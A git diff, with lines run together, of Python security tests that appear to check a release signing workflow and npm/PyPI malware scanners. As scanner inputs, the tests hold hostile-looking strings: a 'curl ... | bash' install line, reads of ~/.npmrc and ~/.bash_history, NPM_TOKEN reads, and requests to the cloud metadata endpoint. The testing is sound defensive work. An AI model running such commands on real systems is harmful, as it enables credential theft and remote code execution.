-RetryIntervalSec are PowerShell 6+ only. Inheriting- # the interpreter from a runner default is not where a release download- # should get it, and every other Windows step here says pwsh outright.+ # -MaximumRetryCount / -RetryIntervalSec are PowerShell 6+ only, and every other Windows step here says pwsh+ # outright rather than inheriting the interpreter from a runner default.for name in ("Install trusted-signing-cli", "Verify trusted-signing-cli"):assert _step(name)["shell"] == "pwsh", name@@ -63,8 +62,7 @@ def test_a_digest_mismatch_stops_the_release_before_anything_is_signed():def test_no_step_restores_the_signing_cli_from_a_cache():- # A cache is not an integrity mechanism: restore plus skip-on-hit is what- # would let a poisoned entry sign releases.+ # A cache is not an integrity mechanism: restore plus skip-on-hit is what would let a poisoned entry sign releases.for step in _build_steps():uses = step.get("uses", "")if not uses.startswith("actions/cache"):@@ -73,9 +71,8 @@ def test_no_step_restores_the_signing_cli_from_a_cache():def test_the_verified_binary_is_the_one_that_signs():- # The signing script calls the tool by bare name, and rust-cache restores- # ~/.cargo/bin, which can hold an unverified copy of the same name. PATH has- # to resolve to the digest-checked file.+ # The signing script calls the tool by bare name, and rust-cache restores ~/.cargo/bin, which can hold an unverified+ # copy of the same name. PATH has to resolve to the digest-checked file.run = _verify_step()["run"]assert "$verified" in runassert "[IO.Path]::GetFullPath($cli.Source) -ne $verified" in run@@ -83,22 +80,21 @@ def test_the_verified_binary_is_the_one_that_signs():def test_the_check_exits_non_zero_on_every_failure_path():run = _verify_step()["run"]- # Not on PATH, resolved to an unverified copy, cannot be started, and- # started but exited non-zero.+ # Not on PATH, resolved to an unverified copy, cannot be started, and started but exited non-zero.assert run.count("exit 1") == 4def test_a_binary_that_cannot_start_is_caught():- # A truncated download raises a terminating PowerShell error, not a native- # exit code, so without the catch the step dies before explaining why.+ # A truncated download raises a terminating PowerShell error, not a native exit code, so without the catch the step+ # dies before explaining why.run = _verify_step()["run"]assert "try {" in runassert "catch {" in rundef test_the_launch_error_is_flattened_to_one_line():- # A PowerShell error spans message, offending line and caret; an annotation- # stops at the first newline, dropping the guidance that follows.+ # A PowerShell error spans message, offending line and caret; an annotation stops at the first newline, dropping+ # the guidance that follows.run = _verify_step()["run"]assert "-replace '\\s+', ' '" in run@@ -116,8 +112,8 @@ def test_the_native_exit_code_is_inspected():def test_every_failure_says_what_it_was():- # Failing closed without saying why turns a rare fetch fault into an- # unexplained outage, and the four causes need different fixes.+ # Failing closed without saying why turns a rare fetch fault into an unexplained outage, and the four causes need+ # different fixes.run = _verify_step()["run"]assert run.count("::error::") == 4diff --git a/tests/security/test_release_desktop_signing_simulation.py b/tests/security/test_release_desktop_signing_simulation.pyindex 348299c225a..a39ea8e40d0 100644--- a/tests/security/test_release_desktop_signing_simulation.py+++ b/tests/security/test_release_desktop_signing_simulation.py@@ -32,16 +32,14 @@ import yamlfrom unsloth_pwsh_runner import run_pwsh-# Only PATHEXT maps a bare name onto the `.exe` the verify step insists on, so-# checks needing a *passing* resolution are skipped off Windows rather than-# faked. The rejecting direction is platform neutral and runs everywhere.+# Only PATHEXT maps a bare name onto the `.exe` the verify step insists on, so checks needing a *passing* resolution are+# skipped off Windows rather than faked. The rejecting direction is platform neutral and runs everywhere.needs_pathext = pytest.mark.skipif(sys.platform != "win32",reason = "needs Windows PATHEXT resolution to map a bare name onto the .exe",)-# Opt in, so an offline or rate limited run does not fail on what the digest-# already pins.+# Opt in, so an offline or rate limited run does not fail on what the digest already pins.needs_network = pytest.mark.skipif(not os.environ.get("UNSLOTH_NETWORK_TESTS"),reason = "set UNSLOTH_NETWORK_TESTS=1 to fetch the pinned release asset",@@ -62,9 +60,6 @@ RUNNER_APPEND = r"if ((Test-Path -LiteralPath variable:\LASTEXITCODE)) { exit $LWINDOWS_GUARD = "matrix.platform == 'windows-latest'"-# ── the PR under test ────────────────────────────────────────────────────────--@functools.lru_cache(maxsize = 1)def workflow():return yaml.safe_load(WORKFLOW.read_text(encoding = "utf-8"))@@ -90,9 +85,8 @@ def write_step_script(directory, name, filename):def run_step(script, env):"""Invoke a step script the way the runner does and return (code, output)."""full = {**os.environ, **env}- # Every signing check in this file reads the exit code of this one call, so an- # interpreter that aborts at startup would look exactly like a step body that- # failed closed -- the opposite of what the test claims to have proven.+ # Every signing check in this file reads the exit code of this one call, so an interpreter that aborts at startup+ # would look exactly like a step body that failed closed -- the opposite of what the test claims to have proven.result = run_pwsh(["pwsh", "-NoProfile", "-Command", f". '{script}'"],capture_output = True,@@ -208,8 +202,7 @@ def test_other_platform_integrity_paths_are_untouched():def test_the_install_step_never_interpolates_workflow_expressions():- # `${{ }}` in a run body is a shell-injection surface; the pinned values go- # through `env:`.+ # `${{ }}` in a run body is a shell-injection surface; the pinned values go through `env:`.body = step("Install trusted-signing-cli")["run"]assert "${{" not in body@@ -354,9 +347,7 @@ def _path_with(*directories):def test_verify_rejects_a_binary_that_was_never_digest_checked(sandbox, tmp_path):- # The rust-cache scenario: an identically named copy earlier on PATH that no- # digest gate saw. It spoofs the version string, which is what the old- # `--version` probe accepted.+ # The rust-cache scenario: an identically named copy earlier on PATH that no digest gate saw.decoy_dir = tmp_path / "cargo_bin"_fake_on_path(decoy_dir, "trusted-signing-cli", '#!/bin/sh\necho "trusted-signing-cli 0.10.0"\n'@@ -382,9 +373,6 @@ def test_verify_fails_when_nothing_is_on_path(sandbox):@needs_pathextdef test_verify_fails_when_the_binary_cannot_start(sandbox):- # A truncated download: right name and place, not a loadable image. It must- # sit at the verified path, or the identity check rejects it first and the- # catch block is never reached.directory = sandbox["runner_temp"] / "trusted-signing-cli"directory.mkdir(parents = True)(directory / "trusted-signing-cli.exe").write_bytes(b"\x00\x01not an executable")@@ -397,7 +385,6 @@ def test_verify_fails_when_the_binary_cannot_start(sandbox):@needs_pathextdef test_verify_fails_when_the_binary_exits_non_zero(sandbox):- # Starts fine, exits non-zero: where.exe given an option it does not take.directory = sandbox["runner_temp"] / "trusted-signing-cli"_real_exe_on_path(directory, pathlib.Path(os.environ["SystemRoot"], "System32", "where.exe"))@@ -445,17 +432,13 @@ def test_an_unverified_copy_ahead_on_path_is_rejected(sandbox, tmp_path):def test_the_install_step_publishes_its_directory_for_path_prepending(sandbox, asset_server):- # $GITHUB_PATH prepends, so publishing the install dir is what puts the- # verified copy ahead of ~/.cargo/bin.+ # $GITHUB_PATH prepends, so publishing the install dir is what puts the verified copy ahead of ~/.cargo/bin.url, handler = asset_serverassert run_step(sandbox["install"], install_env(sandbox, url, good_digest(handler)))[0] == 0published = sandbox["github_path"].read_text().strip()assert published == str(sandbox["runner_temp"] / "trusted-signing-cli")-# ── the real pinned asset, fetched over the network ──────────────────────────--@needs_networkdef test_the_real_pinned_asset_matches_its_digest(sandbox):url, digest = pinned()@@ -479,8 +462,8 @@ def test_the_real_asset_is_a_64_bit_windows_console_binary(sandbox):@needs_networkdef test_the_real_asset_declares_the_arguments_the_signing_script_passes(sandbox):- # sign-with-trusted-signing.ps1 passes -e and -d; account and certificate- # profile come from the environment the release job sets.+ # sign-with-trusted-signing.ps1 passes -e and -d; account and certificate profile come from the environment the+ # release job sets.url, digest = pinned()assert run_step(sandbox["install"], install_env(sandbox, url, digest))[0] == 0blob = installed_binary(sandbox).read_bytes()@@ -496,8 +479,7 @@ def test_the_real_asset_declares_the_arguments_the_signing_script_passes(sandboxdef test_the_signing_script_still_calls_the_tool_by_bare_name():- # Only reads a file in the tree. This is the contract that makes the PATH- # resolution above matter, so it runs in the default job.+ # Only reads a file in the tree.script = REPO / "studio" / "src-tauri" / "windows" / "sign-with-trusted-signing.ps1"text = script.read_text(encoding = "utf-8")assert "& trusted-signing-cli @trustedSigningArgs" in textdiff --git a/tests/security/test_scan_npm_packages.py b/tests/security/test_scan_npm_packages.pyindex 35a34e28348..dfd9845c9d2 100644--- a/tests/security/test_scan_npm_packages.py+++ b/tests/security/test_scan_npm_packages.py@@ -15,13 +15,10 @@ REPO_ROOT = Path(__file__).resolve().parents[2]SCRIPT = REPO_ROOT / "scripts" / "scan_npm_packages.py"FIXTURES = Path(__file__).resolve().parent / "fixtures"-# Import the module to introspect IOC tables directly.sys.path.insert(0, str(REPO_ROOT))from scripts import scan_npm_packages as snp # noqa: E402-# ----------------------------------------------------------------------------# Subprocess helpers.# ---------------------------------------------------------------------------@@ -49,7 +46,8 @@ def test_malicious_lockfile_exits_1():f"--- stdout ---\n{proc.stdout}\n--- stderr ---\n{proc.stderr}")combined = proc.stdout + proc.stderr- # Scanner aggregates structural findings into the summary; assert on count + FAIL banner.+ # Scanner aggregates structural findings into the summary;+ # assert on count + FAIL banner.assert "2 structural finding(s)" in combinedassert "FAIL" in combined# Confirm parse_lockfile() surfaces the right pattern codes via the in-process API.@@ -75,7 +73,6 @@ def test_clean_lockfile_exits_0():# BLOCKED_NPM_VERSIONS table -- gated on Fork 1.# ----------------------------------------------------------------------------_BLOCKED_AVAILABLE = hasattr(snp, "BLOCKED_NPM_VERSIONS")@@ -104,7 +101,6 @@ def test_blocked_npm_versions_complete():f"expected at least 64 @uipath/* entries (Aikido enumeration), "f"got {len(uipath)}: {sorted(uipath)}")- # Anchor a known published entry.assert "0.9.5" in table["@uipath/rpa-tool"]# Aikido (May-12 wave): @mistralai/* npm scope (separate from PyPI mistralai).@@ -116,7 +112,8 @@ def test_blocked_npm_versions_complete():tallyui = [k for k in table if k.startswith("@tallyui/")]assert len(tallyui) == 10, f"expected 10 @tallyui/*, got {sorted(tallyui)}"- # Aikido: @beproduct/nestjs-auth covers the 0.1.2 .. 0.1.19 range (18 versions).+ # Aikido: @beproduct/nestjs-auth covers the 0.1.2 ..+ # 0.1.19 range (18 versions).assert table["@beproduct/nestjs-auth"] == {f"0.1.{i}" for i in range(2, 20)}# Aikido: unscoped infostealer packages (10 total).@@ -235,7 +232,7 @@ def test_strip_blanks_line_and_block_comments():def test_strip_keeps_url_in_string_and_template():src = 'const a = "http://example.com/x";\nconst b = `http://${h}//y`; go();'out = _strip(src)- assert out == src # nothing is a comment -> byte-identical+ assert out == srcassert "http://example.com/x" in out and "//y" in out@@ -280,7 +277,6 @@ def test_strip_only_applies_to_js_family():# Detection survives stripping; comment-only IOC is suppressed.# ----------------------------------------------------------------------------_PKG = snp.PackageEntry(name = "x",version = "1.0.0",@@ -306,7 +302,6 @@ def test_payload_entirely_in_comment_is_suppressed():src = f'/* var f = new Function("{_BLOB}"); */ var ok = 1;'js = snp.scan_text_blob(_PKG, "m.js", src)assert js == [] # blanked -> clean- # Control: same bytes as non-JS (unstripped) WOULD flag.txt = snp.scan_text_blob(_PKG, "m.txt", src)assert any(f.pattern == "obfuscated-blob" for f in txt)@@ -341,17 +336,15 @@ def test_norm_pkg_name_strips_version_keeps_scope():def test_baseline_key_is_version_stable():- # Same in-package path across a version bump -> identical key. npm tarballs- # root every file at ``package/``, so the path is stable; only the version in- # the display name changes.+ # Same in-package path across a version bump -> identical key.a = _finding("[email protected]", "package/index.js", "obfuscated-blob")b = _finding("[email protected]", "package/index.js", "obfuscated-blob")assert snp._finding_key(a) == snp._finding_key(b)def test_baseline_key_distinguishes_same_basename_diff_dir():- # Package-relative keying: the same basename in a different directory is a- # DIFFERENT key, so a new dist/ vs src/ file is not silently suppressed.+ # Package-relative keying: the same basename in a different directory is a DIFFERENT key, so a new dist/ vs src/+ # file is not silently suppressed.a = _finding("[email protected]", "package/dist/index.js", "obfuscated-blob")b = _finding("[email protected]", "package/src/index.js", "obfuscated-blob")assert snp._finding_key(a) != snp._finding_key(b)@@ -389,7 +382,7 @@ def test_write_then_load_baseline_roundtrip(tmp_path):bl = tmp_path / "out.json"findings = [_finding("[email protected]", "package/a.js", "obfuscated-blob", snp.CRITICAL),- _finding("[email protected]", "package/a.js", "obfuscated-blob", snp.CRITICAL), # dup+ _finding("[email protected]", "package/a.js", "obfuscated-blob", snp.CRITICAL),_finding("[email protected]", "package/b.js", "js-env-token", snp.MEDIUM), # below thresh]n = snp._write_baseline(str(bl), findings, snp._SEVERITY_RANK[snp.HIGH])@@ -401,8 +394,8 @@ def test_write_then_load_baseline_roundtrip(tmp_path):def test_baseline_reopens_on_changed_evidence(tmp_path):- # Same package/file/pattern but changed flagged code must reopen: the key now- # includes an evidence hash, so a new payload cannot ride a reviewed entry.+ # Same package/file/pattern but changed flagged code must reopen: the key now includes an+ # evidence hash, so a new payload cannot ride a reviewed entry.bl = tmp_path / "bl.json"listed = _finding("[email protected]", "package/dist/index.js", "obfuscated-blob", evidence = "fetch('http://ok')"@@ -427,8 +420,8 @@ def test_baseline_reopens_on_changed_evidence(tmp_path):def test_obfuscated_blob_key_reopens_on_changed_tail():- # A large blob's evidence hash binds the full match (via a digest when the- # snippet is truncated), so changing only the payload tail reopens the key.+ # A large blob's evidence hash binds the full match (via a digest when the snippet is truncated), so changing only+ # the payload tail reopens the key.pkg = snp.PackageEntry(name = "evil",version = "1.0.0",@@ -455,9 +448,8 @@ def test_obfuscated_blob_key_reopens_on_changed_tail():def test_js_fetch_eval_payload_tail_reopens_key():- # The js-fetch-eval evidence digests the full containing line when the shown- # window truncates it, so a changed payload tail beyond the window reopens- # the key instead of riding the unchanged decoder head.+ # The js-fetch-eval evidence digests the full containing line when the shown window truncates it, so a changed+ # payload tail beyond the window reopens the key instead of riding the unchanged decoder head.pkg = snp.PackageEntry(name = "evil",version = "1.0.0",@@ -479,8 +471,8 @@ def test_js_fetch_eval_payload_tail_reopens_key():def test_outbound_host_multiline_options_reopen():- # A multi-line outbound call binds its option/header lines, so changing the- # headers/body on a continuation line reopens the cred-surface-host key.+ # A multi-line outbound call binds its option/header lines, so changing the headers/body on a continuation line+ # reopens the cred-surface-host key.pkg = snp.PackageEntry(name = "evil",version = "1.0.0",@@ -506,9 +498,8 @@ def test_outbound_host_multiline_options_reopen():def test_outbound_host_config_multiline_object_reopens():- # A host-config object whose `{` is on a prior line still binds the whole- # object, so changing the path/headers on a following line reopens the key- # rather than riding the unchanged hostname line.+ # A host-config object whose `{` is on a prior line still binds the whole object, so changing the path/headers on a+ # following line reopens the key rather than riding the unchanged hostname line.pkg = snp.PackageEntry(name = "evil",version = "1.0.0",@@ -553,8 +544,8 @@ def _host_finding(text):def test_outbound_host_config_long_object_binds_tail():- # A config object longer than the backward window still binds its tail, so a- # changed payload line well below the hostname reopens (not truncated away).+ # A config object longer than the backward window still binds its tail, so a changed payload line well below the+ # hostname reopens (not truncated away).filler = "\n".join(f" opt{i}: {i}," for i in range(30))obj = ("const opts = {\n hostname: '169.254.169.254',\n"@@ -567,10 +558,9 @@ def test_outbound_host_config_long_object_binds_tail():def test_outbound_host_config_far_opener_binds():- # The enclosing object's opener can sit well above the hostname line (a large- # options object whose `{` is many properties back). The backward scan must- # still reach it so a payload changed on an earlier property of the same object- # reopens, not just a change on the hostname line itself.+ # The enclosing object's opener can sit well above the hostname line (a large options object whose `{` is many+ # properties back). The backward scan must still reach it so a payload changed on an earlier property of the same+ # object reopens, not just a change on the hostname line itself.above = "\n".join(f" opt{i}: {i}," for i in range(20))obj = ("const opts = {\n"@@ -582,9 +572,8 @@ def test_outbound_host_config_far_opener_binds():def test_outbound_host_config_forward_cap_measured_from_match():- # With the opener near the backward-search limit, the forward group cap must be- # measured from the matched hostname line, not the opener, so the path that- # follows the hostname is still bound and a changed payload there reopens.+ # With the opener near the backward-search limit, the forward group cap must be measured from the matched hostname+ # line, not the opener, so the path that follows the hostname is still bound and a changed payload there reopens.above = "\n".join(f" opt{i}: {i}," for i in range(198))obj = ("const opts = {\n"@@ -597,18 +586,13 @@ def test_outbound_host_config_forward_cap_measured_from_match():def test_outbound_host_multiple_contexts_all_bind():- # The same contextual host can appear in more than one outbound form. Adding a- # separate host-config request beside an already-present URL for that host must- # reopen the key, not ride the unchanged URL evidence.+ # The same contextual host can appear in more than one outbound form.base = "const u = 'http://169.254.169.254/latest/meta-data/';\nfetch(u);\n"extra = "https.request({\n hostname: '169.254.169.254',\n path: '/evil',\n});\n"assert snp._finding_key(_host_finding(base)) != snp._finding_key(_host_finding(base + extra))def test_outbound_host_config_opener_after_unmatched_closer_binds():- # A leading unmatched `}` from a preceding block (its opener outside the- # backward window) must not drive depth negative and mask the host-config- # opener that follows; the object should still bind so a changed path reopens.pre = "callback(arg);\n});\n" # stray closer; the matching opener is out of viewobj = pre + "const opts = {\n hostname: '169.254.169.254',\n path: '%s',\n};\nrun(opts);\n"assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key(@@ -617,11 +601,10 @@ def test_outbound_host_config_opener_after_unmatched_closer_binds():def test_outbound_host_config_close_then_open_same_line_binds():- # Stronger than the previous case: the unmatched closer and the host-config- # opener share ONE line, e.g. `}); const opts = {`. A net per-line bracket count- # nets that line to <= 0 and drops the trailing `{`, so the group would start at- # the hostname line and a changed path could ride the unchanged-hostname key.- # Order-aware reduction keeps the opener, so the path binds and a change reopens.+ # Stronger than the previous case: the unmatched closer and the host-config opener share ONE line, e.g. `}); const+ # opts = {`. A net per-line bracket count nets that line to <= 0 and drops the trailing `{`, so the group would+ # start at the hostname line and a changed path could ride the unchanged-hostname key. Order-aware reduction keeps+ # the opener, so the path binds and a change reopens.obj = "}); const opts = {\n hostname: '169.254.169.254',\n path: '%s',\n};\nrun(opts);\n"assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key(_host_finding(obj % "/evil")@@ -630,8 +613,6 @@ def test_outbound_host_config_close_then_open_same_line_binds():def test_outbound_host_multiline_template_literal_reopens():# A ) inside a multi-line backtick template literal must not close the call- # early; the options object after the template binds, so a changed header- # reopens rather than riding the unchanged host (a per-line string blanker# cannot mask a template literal that spans lines).old = "request(`http://169.254.169.254/x\n)`, {\n headers: {a: 'old'},\n});\n"new = "request(`http://169.254.169.254/x\n)`, {\n headers: {a: 'evil'},\n});\n"@@ -639,9 +620,8 @@ def test_outbound_host_multiline_template_literal_reopens():def test_cred_env_lifecycle_binds_whole_body():- # cred-env-in-lifecycle evidence pins the whole script body, so a changed- # non-token line (echo safe -> curl exfil) reopens even with the token line- # unchanged.+ # cred-env-in-lifecycle evidence pins the whole script body, so a changed non-token line (echo safe -> curl exfil)+ # reopens even with the token line unchanged.def life(body):pkg = snp.PackageEntry(name = "e",@@ -678,24 +658,22 @@ def _lifecycle_finding(body, frag):def test_lifecycle_fetch_exec_bounds_body_but_reopens():- # The whole install script is bound by a digest, but the stored evidence is a- # bounded matched snippet plus that digest, not the full body, so writing the- # baseline on a multi-KiB install script stays small while a change to any line- # (even far below the fetch-exec line) reopens the finding.+ # The whole install script is bound by a digest, but the stored evidence is a bounded matched snippet plus that+ # digest, not the full body, so writing the baseline on a multi-KiB install script stays small while a change to+ # any line (even far below the fetch-exec line) reopens the finding.pad = "# pad\n" * 5000old = "curl https://x.sh | bash\n" + pad + "echo done_old"new = "curl https://x.sh | bash\n" + pad + "echo done_evil"of = _lifecycle_finding(old, "lifecycle-fetch-exec")nf = _lifecycle_finding(new, "lifecycle-fetch-exec")assert "body-sha256:" in of.evidence- assert len(of.evidence) < len(old) # snippet + digest, not the whole body+ assert len(of.evidence) < len(old)assert snp._finding_key(of) != snp._finding_key(nf)def test_cred_path_lifecycle_bounds_body_but_reopens():- # cred-path-in-lifecycle is bounded the same way: a snippet around the matched- # credential path plus the whole-body digest, so a far-line change reopens- # without storing the entire script body in the baseline.+ # cred-path-in-lifecycle is bounded the same way: a snippet around the matched credential path plus the+ # whole-body digest, so a far-line change reopens without storing the entire script body in the baseline.pad = "# pad\n" * 5000old = "cat ~/.npmrc\n" + pad + "echo old"new = "cat ~/.npmrc\n" + pad + "echo evil"@@ -707,18 +685,15 @@ def test_cred_path_lifecycle_bounds_body_but_reopens():def test_outbound_host_regex_literal_does_not_close_group_early():- # A ) inside a JS regex literal must not close the outbound call early; the- # options object after the regex binds, so a changed header reopens.+ # A ) inside a JS regex literal must not close the outbound call early; the options object after the regex binds, so+ # a changed header reopens.old = "request('http://169.254.169.254', /)/, {\n headers: {a: 'old'},\n});\n"new = old.replace("old", "evil")assert snp._finding_key(_host_finding(old)) != snp._finding_key(_host_finding(new))def test_evidence_overflow_binds_context_and_counts_all_matches():- # Every match past the display cap is still counted in the overflow digest AND- # bound by its logical-line context, so changing the payload on an over-cap line- # reopens (the digest is not just the regex match text, and the iterator is not- # truncated before reaching it).+ # Every match past the display cap is still counted in the overflow digest AND bound by its logical-line contextn = snp._MAX_EVIDENCE_MATCHESmk = lambda which: "".join(f"a{i} = process.env.NPM_TOKEN; tag{i} = {'evil' if i == n + 2 and which else 'safe'}\n"@@ -738,7 +713,7 @@ def test_evidence_caps_match_count_with_digest_remainder():base = "".join(f"x{i} = process.env.NPM_TOKEN\n" for i in range(over))ev = snp._evidence(base, snp._JS_ENV_TOKEN)assert "more) sha256:" in ev- assert ev.count(" | ") <= snp._MAX_EVIDENCE_MATCHES # bounded, not `over` spans+ assert ev.count(" | ") <= snp._MAX_EVIDENCE_MATCHESless = "".join(f"x{i} = process.env.NPM_TOKEN\n" for i in range(over - 1))assert snp._evidence_hash(ev) != snp._evidence_hash(snp._evidence(less, snp._JS_ENV_TOKEN))@@ -756,7 +731,7 @@ def test_evidence_streams_overflow_count_is_exact():m = _re.search(r"\(\+(\d+) more\)", ev)assert m and int(m.group(1)) == extra # every over-cap match counted- assert ev.count(" | ") <= snp._MAX_EVIDENCE_MATCHES # display stays bounded+ assert ev.count(" | ") <= snp._MAX_EVIDENCE_MATCHESdef _ioc_pkg():@@ -770,9 +745,8 @@ def _ioc_pkg():def test_known_ioc_evidence_binds_context_not_bare_needle():- # A known-ioc-string finding keys on the matched-line context, not the bare- # constant, so a changed adjacent fetch/exfil body on the same call reopens- # while the IOC needle stays in place.+ # A known-ioc-string finding keys on the matched-line context, not the bare constant, so a changed adjacent+ # fetch/exfil body on the same call reopens while the IOC needle stays in place.ioc = next(iter(snp.KNOWN_IOC_STRINGS))old = f"fetch('http://h/'+'{ioc}', {{body: 'OLD'}})\n"new = f"fetch('http://h/'+'{ioc}', {{body: 'EVIL'}})\n"@@ -788,9 +762,8 @@ def test_known_ioc_evidence_binds_context_not_bare_needle():def test_always_bad_host_evidence_binds_outbound_context():- # cred-surface-host (always-bad) binds the outbound call context, so altering- # the exfil body on the same call reopens the key instead of riding the bare- # host literal.+ # cred-surface-host (always-bad) binds the outbound call context, so altering the exfil body on the same call+ # reopens the key instead of riding the bare host literal.host = snp.CRED_HOST_ALWAYS_BAD[0][0]old = f"fetch('https://{host}/x', {{body: secretOLD}})\n"new = f"fetch('https://{host}/x', {{body: secretEVIL}})\n"@@ -806,8 +779,8 @@ def test_always_bad_host_evidence_binds_outbound_context():def test_outbound_host_config_reindent_is_stable():- # A formatter-only reindent of the bound continuation lines must NOT change- # the key (whitespace is normalized before the logical-line digest).+ # A formatter-only reindent of the bound continuation lines must NOT change the key (whitespace is normalized before+ # the logical-line digest).tight = "const opts = {\n hostname: '169.254.169.254',\n path: '/x',\n};\nrun(opts);\n"loose = ("const opts = {\n hostname: '169.254.169.254',\n path: '/x',\n};\nrun(opts);\n"@@ -816,19 +789,13 @@ def test_outbound_host_config_reindent_is_stable():def test_evidence_preserves_intra_string_whitespace():- # Whitespace OUTSIDE string literals is normalized (reindent-stable), but- # whitespace INSIDE a literal is preserved, so a changed payload body- # (body: 'a b' -> 'a b') reopens the key instead of being erased along with- # indentation.+ # Whitespace OUTSIDE string literals is normalized (reindent-stable), but whitespace INSIDE a literal is preserveda = "request('http://169.254.169.254/x', {\n body: 'a b',\n});\n"b = "request('http://169.254.169.254/x', {\n body: 'a b',\n});\n"assert snp._finding_key(_host_finding(a)) != snp._finding_key(_host_finding(b))def test_outbound_cred_surface_binds_context():- # The outbound cred-surface host finding records the host WITH its URL path /- # fetch call, so changing the outbound path or headers reopens the key rather- # than riding the bare host literal.pkg = snp.PackageEntry(name = "evil",version = "1.0.0",@@ -876,9 +843,8 @@ def test_load_baseline_skips_non_dict_entries(tmp_path):def test_legacy_schema_baseline_is_ignored(tmp_path):- # A pre-v2 baseline stored basenames; its keys are ambiguous under- # package-relative matching, so a populated legacy file is ignored (fail- # closed) rather than silently suppressing a different same-named file.+ # A pre-v2 baseline stored basenames, whose keys are ambiguous under package-relative matching, so a populated+ # legacy file is ignored (fail closed) rather than silently suppressing a different same-named file.bl = tmp_path / "legacy.json"bl.write_text(json.dumps(@@ -895,9 +861,8 @@ def test_legacy_schema_baseline_is_ignored(tmp_path):def test_v2_baseline_migrates_by_recomputing_hash(tmp_path):- # v2 shares v3's package-relative keying, so its entries migrate (the hash is- # recomputed from stored evidence) rather than being thrown away, matching the- # Python loader. An unchanged finding stays suppressed.+ # v2 shares v3's package-relative keying, so its entries migrate (the hash is recomputed from stored evidence)+ # rather than being thrown away, matching the Python loader. An unchanged finding stays suppressed.bl = tmp_path / "v2.json"evidence = "fetch('http://ok')"bl.write_text(@@ -924,8 +889,8 @@ def test_v2_baseline_migrates_by_recomputing_hash(tmp_path):def test_outbound_cred_surface_host_config_binds_full_context():- # The host-config branch captures the whole line (path + headers), so changing- # the outbound headers/body on the same hostname line reopens the key.+ # The host-config branch captures the whole line (path + headers), so changing the outbound headers/body on the+ # same hostname line reopens the key instead of letting an approved finding suppress a newly credentialed request.pkg = snp.PackageEntry(name = "evil",version = "1.0.0",diff --git a/tests/security/test_scan_packages.py b/tests/security/test_scan_packages.pyindex 6bc5023abe6..fb9b6d094b7 100644--- a/tests/security/test_scan_packages.py+++ b/tests/security/test_scan_packages.py@@ -27,21 +27,17 @@ def test_fixture_files_exist():def test_fixture_bytes_are_deterministic(tmp_path):"""Re-running `_build.py` must produce byte-identical archives (deterministic builds)."""- # Snapshot committed hashes.expected: dict[str, str] = {}for name in ("malicious_wheel.whl", "clean_wheel.whl", "malicious_sdist.tar.gz"):expected[name] = hashlib.sha256((FIXTURES / name).read_bytes()).hexdigest()- # Rebuild into a sibling dir to avoid clobbering the committed files.rebuild_dir = tmp_path / "rebuild"rebuild_dir.mkdir()- # The build helper writes to its own dir; copy + patch HERE.builder_src = (FIXTURES / "_build.py").read_text(encoding = "utf-8")rebuilt_helper = rebuild_dir / "_build.py"# builder_src came out of a checked-in file, so it carries whatever# non-ASCII that file holds and cp1252 cannot encode it back out.rebuilt_helper.write_text(builder_src, encoding = "utf-8")- # Run with SOURCE_DATE_EPOCH=0 and HERE override via a shim.shim = rebuild_dir / "run.py"shim.write_text("import sys, pathlib\n"@@ -103,7 +99,6 @@ def test_clean_wheel_no_findings():assert findings == [], f"unexpected findings on clean wheel: {[str(f) for f in findings]}"-# Fork 1 constants -- gated on availability._BLOCKED_AVAILABLE = hasattr(sp, "BLOCKED_PYPI_VERSIONS")_MAY12_AVAILABLE = hasattr(sp, "RE_MAY12_IOC")@@ -151,8 +146,8 @@ def test_may12_ioc_caught_by_scan_archive():str(FIXTURES / "malicious_wheel.whl"),"malicious_fixture",)- # IOC literals built at runtime so CodeQL's url-substring-sanitization rule- # doesn't false-positive on the `in` operand (it's evidence, not a URL).+ # IOC literals built at runtime so CodeQL's url-substring-sanitization rule doesn't false-positive on the `in`+ # operand (it's evidence, not a URL)._ioc_host = "git-tanstack." + "com"_ioc_drop = "transformers." + "pyz"hit = any(@@ -167,9 +162,6 @@ def test_may12_ioc_caught_by_scan_archive():)-# Silent-failure-class hardening (Fork C).--def test_scan_packages_pip_download_failure_propagates(tmp_path):"""A pip download failure must exit 2 (SCAN INCOMPLETE), not `0 findings, exit 0`.@@ -205,7 +197,6 @@ def test_archive_corruption_produces_critical_finding(tmp_path):)assert all(f.severity == sp.CRITICAL for f in corrupted)- # Same for a corrupted tarball.bad_tar = tmp_path / "broken-0.0.1.tar.gz"bad_tar.write_bytes(b"not-a-real-gzip-stream")findings_tar = sp.scan_archive(str(bad_tar), "broken_fixture")@@ -216,9 +207,6 @@ def test_archive_corruption_produces_critical_finding(tmp_path):)-# False-positive hardening: code-only scanning via _strip_noncode.--def test_strip_noncode_blanks_docstrings_and_comments_keeps_geometry():src = ('"""Module doc mentions subprocess.Popen and reverse shell."""\n'@@ -314,7 +302,6 @@ def test_proc_self_status_read_flags_anti_analysis():def test_proc_self_status_pattern_is_live():- # Common call forms; the leading \b made all of these unsatisfiable before the fix.for s in ('open("/proc/self/status")',"cat /proc/self/status",@@ -326,9 +313,9 @@ def test_proc_self_status_pattern_is_live():def test_fs_enum_does_not_flag_the_word_history():- # `\bhistory\b.*\bread\b` under re.DOTALL spanned the whole file, so any module mentioning- # "history" before "read" was filesystem enumeration -- and a CRITICAL alongside a network- # call. That is how httpx, urllib3, IPython and torch got baselined.+ # `\bhistory\b.*\bread\b` under re.DOTALL spanned the whole file, so any module mentioning "history" before "read"+ # was filesystem enumeration -- and a CRITICAL alongside a network call. That is how httpx, urllib3, IPython and+ # torch got baselined.for s in ("history: list[Response] | None = None\n\ndef read(self): pass\n","from IPython.core.history import HistoryManager\n\ndef read(): pass\n",@@ -339,9 +326,9 @@ def test_fs_enum_does_not_flag_the_word_history():def test_fs_enum_still_flags_real_history_file_reads():- # The half that matters must fire. The old `\b\.bash_history\b` / `\b\.zsh_history\b` could- # never match ("~/.bash_history" puts \b between two non-word chars, the same unsatisfiable-\b- # bug as /proc/self/status above), so every form below was missed.+ # The half that matters must fire.+ # The old `\b\.bash_history\b` / `\b\.zsh_history\b` could never match ("~/.bash_history" puts \b between two+ # non-word chars, the same unsatisfiable-\b bug as /proc/self/status above), so every form below was missed.for s in ('open(os.path.expanduser("~/.bash_history")).read()',"p = Path.home() / '.zsh_history'",@@ -384,8 +371,8 @@ def test_baseline_key_version_stable_but_path_specific():def test_baseline_key_line_shift_stable_but_code_specific():- # The evidence hash strips ``L<NN>:`` markers, so a benign upstream edit that- # only shifts line numbers keeps the key stable...+ # The evidence hash strips ``L<NN>:`` markers, so a benign upstream edit that only shifts line numbers 